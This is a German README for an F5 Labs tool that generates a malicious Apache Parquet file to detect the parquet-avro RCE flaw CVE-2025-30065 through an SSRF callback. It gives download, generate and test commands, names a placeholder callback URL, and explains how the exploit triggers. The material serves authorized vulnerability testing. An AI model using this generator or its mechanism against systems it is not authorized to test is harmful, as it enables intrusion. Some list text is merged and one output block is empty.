
Erzeugt schädliche Apache-Parquet-Dateien, um die RCE-Schwachstelle CVE-2025-30065 über einen SSRF-Callback zu testen. Entwickelt für autorisierte Sicherheitstests von Parquet-avro-Verarbeitungssystemen.
(`-. ('-.
_(OO )_ _( OO)
.-----,--(_/ ,. (,------. .-----. .----. .-----..------. .-----. .----. .----. ,--. .------.
' .--.\ \ /(__/| .---' .-')/ ,-. \/ .. \/ ,-. | ___| .-') / -. \/ .. \ / .. \ / .' | ___|
| |('-.\ \ / / | | _( OO'-' | . / \ '-' | | '--. _( OO)'-' _' . / \ . / \ . / -. | '--.
/_) |OO )\ ' /,(| '--(,------. .' /| | ' | .' /`---. '(,------. |_ <| | ' | | ' | .-. '`---. '.
|| |`-'| \ /__)| .--''------.' /__' \ / '.' /__.- | |'------.-. | ' \ / ' \ / ' \ | .- | |
(_' '--'\ \ / | `---. | |\ `' /| | `-' / \ `-' /\ `' / \ `' /\ `' /| `-' /
`-----' `-' `------' `-------' `---'' `-------'`----'' `----'' `---'' `---'' `----' `----''
Canary Exploit Generator - https://github.com/F5-Labs/parquet-canary-exploit-rce-poc-CVE-2025-30065
Das absolute Minimum (überspringen Sie die README-Anweisungen auf eigene Gefahr):
mkdir -p build/libs
curl -o build/libs/parquet_canary_exploit-fat.jar \
-L https://github.com/F5-Labs/parquet-canary-exploit-rce-poc-CVE-2025-30065/blob/main/build/libs/parquet_canary_exploit-fat.jar
java -jar build/libs/parquet_canary_exploit-fat.jar --mode=generate YOUR_CALLBACK_URL
Compliance-Leute? AppSec-Leute? Vuln-Management-Leute? F5 Labs hat das für Sie gemacht. Diese CVE hat einen CVSS-10-Score, was in der Regel bedeutet, dass knappe Bearbeitungszeiten erforderlich sind. Wir haben das Tool als JAR-Datei gebündelt, die Ihnen eine Parquet-Datei generieren kann. Sie können sie Ihren eigenen Systemen zuführen, um festzustellen, ob sie verwundbar sind – das ist sowohl vor als auch nach dem Fix hilfreich.
Die Anerkennung für die Interna dieses PoC gebührt Mouad Kondah. Sein Artikel vom 2025-04-07 behandelt diese CVE und seine PoCs.
Die Parquet-Datei nutzt das Verhalten in parquet-avro aus, das es erlaubt, einen nicht vertrauenswürdigen Java-String an einen beliebigen Java-Klassenkonstruktor zu übergeben. Sie geben die Callback-URL an, und wenn Ihr System die Parquet-Datei liest, führt dies dazu, dass ein javax.swing.JEditorPane-Objekt versucht, diese URL zu erreichen. Das ist harmlos.
Sie möchten eine kurze Zusammenfassung des Canary-Exploit-Tools? Sehen Sie sich dieses zweiminütige YouTube-Short für eine Live-Demo an: [Demo-Video].
Beachten Sie, dass F5 Labs für das Modul parquet-avro zwei Szenarien der Verwundbarkeit bekannt sind:
String-Objekte in alternative Typen zu zwingen.org.apache.parquet.avro.SERIALIZABLE_PACKAGES auf etwas Permissives gesetzt wurde, z. B. *.Sie können dies mit allem verwenden, zu dem Ihr System ausgehenden Datenverkehr (Egress) herstellen kann (DNS und/oder HTTP(S)). Wenn Sie über keinen der beiden ausgehenden Zugänge zum Internet im Allgemeinen verfügen, ziehen Sie alles in Betracht, was innerhalb Ihres Rechenzentrums erreichbar ist und für das Sie DNS- oder HTTP-Zugriffsprotokolle erhalten können. Seien Sie sich bewusst, dass ein Fehler hier zu einem falsch negativen Ergebnis führt. Auch sehr ungewöhnliche Einstellungen für org.apache.parquet.avro.SERIALIZABLE_PACKAGES könnten möglicherweise zu einem falsch negativen Ergebnis führen; siehe den vorherigen Unterabschnitt.
Wir ermutigen Sie, den Code zu lesen und zu verstehen und ihn selbst zu bauen. Wir stellen den Distributions-Build des Codes als JAR-Datei in diesem Repository der Einfachheit halber bereit.
Sie benötigen JDK 21 oder neuer, um den Generator zu bauen oder auszuführen (Suchbegriffe wie „OpenJDK21 installieren" könnten hier hilfreich sein). Wenn Sie mit der Installation des JDK vertraut sind, sind dies die Kurzbefehle:
brew install openjdk@21sudo apt install openjdk-21-jdksudo yum install java-21-openjdkSie können entweder die JAR-Datei herunterladen oder das Repository klonen.
mkdir -p build/libs
curl -o build/libs/parquet_canary_exploit-fat.jar \
-L https://github.com/F5-Labs/parquet-canary-exploit-rce-poc-CVE-2025-30065/blob/main/build/libs/parquet_canary_exploit-fat.jar
git clone https://github.com/F5-Labs/parquet-canary-exploit-rce-poc-CVE-2025-30065.git
cd parquet-canary-exploit-rce-poc-CVE-2025-30065
file build/libs/parquet_canary_exploit-fat.jar
shasum build/libs/parquet_canary_exploit-fat.jar
Erwartete Ausgabe:
build/libs/parquet_canary_exploit-fat.jar: Zip archive data, at least v1.0 to extract, compression method=deflate
19ae361d589a9cd476bee31ba3f437094a8a6440 build/libs/parquet_canary_exploit-fat.jar
java -jar build/libs/parquet_canary_exploit-fat.jar -h
Erwartete Ausgabe:

Legen Sie zunächst fest, was YOUR_CALLBACK_URL sein soll. Sie müssen in der Lage sein zu erkennen, wann Ihr Parquet-verarbeitendes Backend entweder den Domänennamen der URL auflöst oder die URL vom Webserver anfordert. Sie können dafür gerne canarytokens.org „Web bug" oder „DNS" in Betracht ziehen. Einzelheiten finden Sie im Abschnitt „Fallstricke" weiter oben.
Führen Sie diesen Befehl aus:
java -jar build/libs/parquet_canary_exploit-fat.jar --mode=generate YOUR_CALLBACK_URL
Dadurch wird poc.parquet generiert. Überprüfen Sie es wie folgt:
file poc.parquet
Dies sollte Folgendes ausgeben:
poc.parquet: Apache Parquet
Diese Datei kann nun in Ihr System eingespeist werden. Wenn Ihr System verwundbar ist, erhalten Sie einen Callback. Siehe auch den Abschnitt „Fallstricke".
Der Einfachheit halber wird die Datei auch dann generiert, wenn sie nicht bereits vorhanden ist.
java -jar build/libs/parquet_canary_exploit-fat.jar --mode=test YOUR_CALLBACK_URL
python3 -m http.server --bind 127.0.0.1 9090 &
java -jar build/libs/parquet_canary_exploit-fat.jar --mode=test http://localhost:9090
Siehe CanaryExploitGenerator.testParquetFile() für die Art und Weise, wie die Parquet-Datei gelesen wird. So sieht Code in den Tiefen Ihres Systems aus:
ParquetReader reader = AvroParquetReader.builder(inputFile).build();
// enough to trigger the construction of javax.swing.JEditorPane
Object object = reader.read();
Dieses Tool ist ausschließlich für den Einsatz in autorisierten Sicherheitstestumgebungen vorgesehen. Machen Sie sich mit den Gesetzen der anwendbaren Rechtsordnung(en) vertraut. Rechtliche Einzelheiten finden Sie in LICENSE.md.